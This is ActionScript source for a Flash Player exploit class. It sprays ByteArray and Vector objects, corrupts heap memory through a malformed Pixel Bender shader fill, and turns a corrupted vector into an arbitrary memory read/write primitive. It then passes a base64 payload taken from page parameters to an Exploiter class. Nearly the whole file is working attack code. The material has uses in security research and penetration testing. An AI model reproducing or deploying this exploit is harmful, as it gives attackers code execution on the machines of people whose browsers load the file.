package { import flash.display.Shader import flash.display.Sprite import flash.display.LoaderInfo import mx.utils.Base64Decoder import flash.utils.ByteArray import flash.geom.Point import flash.utils.Endian public class Exploit extends Sprite { private var uv:Vector. private var canvas:Sprite private var filler_shader:Shader private var transformation_shader:Shader private var top_middle:Point private var bottom_left:Point private var bottom_right:Point private var b64:Base64Decoder = new Base64Decoder() private var payload:ByteArray private var platform:String private var os:String private var exploiter:Exploiter [Embed ( source="test_bin.pbj", mimeType="application/octet-stream" ) ] private static var FillerPbj:Class [Embed ( source="pbsrc_bin.pbj", mimeType="application/octet-stream" ) ] private static var TransformationPbj:Class private var uint_vectors_length:uint = 70000 private var ba_vector_length:uint = 5000 private var ba_length:int = 0x2000 private var uint_vectors:Vector. private var ba_vector:Vector. public function Exploit() { platform = LoaderInfo(this.root.loaderInfo).parameters.pl os = LoaderInfo(this.root.loaderInfo).parameters.os var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") b64.decode(b64_payload) payload = b64.toByteArray() canvas = new Sprite() addChild(canvas) var size:uint = 400 top_middle = new Point(size / 2, 10) bottom_left = new Point(0, size - 10) bottom_right = new Point(size, size - 10) do_exploit() } private function do_exploit():void { setup_shaders() apply_shader_to_exploit() } private function setup_shaders():void { transformation_shader = new Shader(new TransformationPbj()) ba_vector = new Vector.(ba_vector_length) uint_vectors = new Vector.(uint_vectors_length) // Initialize uint vectors for(var i:uint = 0; i < uint_vectors_length; i++) // 70000 { uint_vectors[i] = new Vector.() } // Allocate Byte Arrays for(i = 0; i < ba_vector_length; i++) // 5000 { ba_vector[i] = new ByteArray() ba_vector[i].endian = "littleEndian" ba_vector[i].length = ba_length // 0x2000 fill_byte_array(ba_vector[i], 0x35555555) ba_vector[i].writeInt(0xbabefac0) ba_vector[i].writeInt(0xbabefac1) ba_vector[i].writeInt(i) ba_vector[i].writeInt(0xbabefac3) } // Make holes for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000 { fill_byte_array(ba_vector[i], 0x37777777) ba_vector[i].clear() ba_vector[i] = null } // Setup shader filler_shader = new Shader(new FillerPbj()) //test_bin.pbj filler_shader.data.point1.value = [top_middle.x, top_middle.y] filler_shader.data.point2.value = [bottom_left.x, bottom_left.y] filler_shader.data.point3.value = [bottom_right.x, bottom_right.y] } final private function fill_byte_array(ba:ByteArray, value:int):void { ba.position = 0 var i:uint = 0 while (i < ba.length / 4) { ba.writeInt(value) i = i + 1 } ba.position = 0 return } private function apply_shader_to_exploit():void { try { filler_shader.data.point3 = transformation_shader.data.positionTransformation27 } catch(err:Error) { Logger.log("Error!") } filler_shader.data.color1.value = [1, 1, 1, 1] // Trigger corruption with the hope of modify one of the sprayed byte arrays canvas.graphics.clear() canvas.graphics.beginShaderFill(filler_shader) canvas.graphics.moveTo(top_middle.x, top_middle.y) canvas.graphics.lineTo(bottom_left.x, bottom_left.y) canvas.graphics.lineTo(bottom_right.x, bottom_right.y) canvas.graphics.endFill() // Search the BA whose data has been corrupted var test:uint var mod_idx:uint = 0xffffffff for(var i:uint = 0; i< ba_vector_length; i++) { // 5000 if (ba_vector[i] != null) { ba_vector[i].position = 32 test = ba_vector[i].readUnsignedInt() if (test != 0x35555555) { mod_idx = i break } } } if (mod_idx == 0xffffffff) { Logger.log("[*] Exploit - apply_shader_to_exploit(): Modified ba not found... aborting") return } // Clear the modified BA, we need a hole there =) fill_byte_array(ba_vector[mod_idx], 0x39999999) ba_vector[mod_idx].clear() ba_vector[mod_idx] = null // Fill the BA space with well positioned Vector.'s, hopefully... for(i = 0; i < uint_vectors_length; i++) // 70000 { uint_vectors[i].length = 0x13e uint_vectors[i][0] = 0xcccccccc uint_vectors[i][1] = i uint_vectors[i][2] = 0xaaaaaaaa } // Corrupt again, hopefully one of our vector lengths =) canvas.graphics.beginShaderFill(filler_shader) var corrupted:uint = 0xffffffff for(i = 0; i < uint_vectors_length; i++) // 70000 { if (uint_vectors[i].length != 0x13e) { corrupted = i break } } if (corrupted == 0xffffffff) { Logger.log("[*] Exploit - apply_shader_to_exploit(): Corrupted vector not found... aborting") return } var offset:uint = 0xffffffff for(i = 0; i < 2048; i++) { if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc) { uint_vectors[corrupted][i] = 0xffffffff offset = i break } } if (offset == 0xffffffff) { Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector for manual corruption not found... aborting") return } for(i = 0; i < uint_vectors_length; i++) // 70000 { if (uint_vectors[i].length == 0xffffffff) { uv = uint_vectors[i] break } } if (uv == null) { Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector manually corrupted not found... aborting") return } var my_offset:uint = 0x3ffffffe - offset - 2 uv[my_offset] = 0x13e for(i = 0; i < ba_vector_length; i++) { // 5000 if (ba_vector[i] != null) { ba_vector[i].clear() ba_vector[i] = null } } for(i = 0; i < uint_vectors_length; i++) // 70000 { if (uint_vectors[i].length != 0xffffffff) { delete(uint_vectors[i]) uint_vectors[i] = null } } exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e) } } }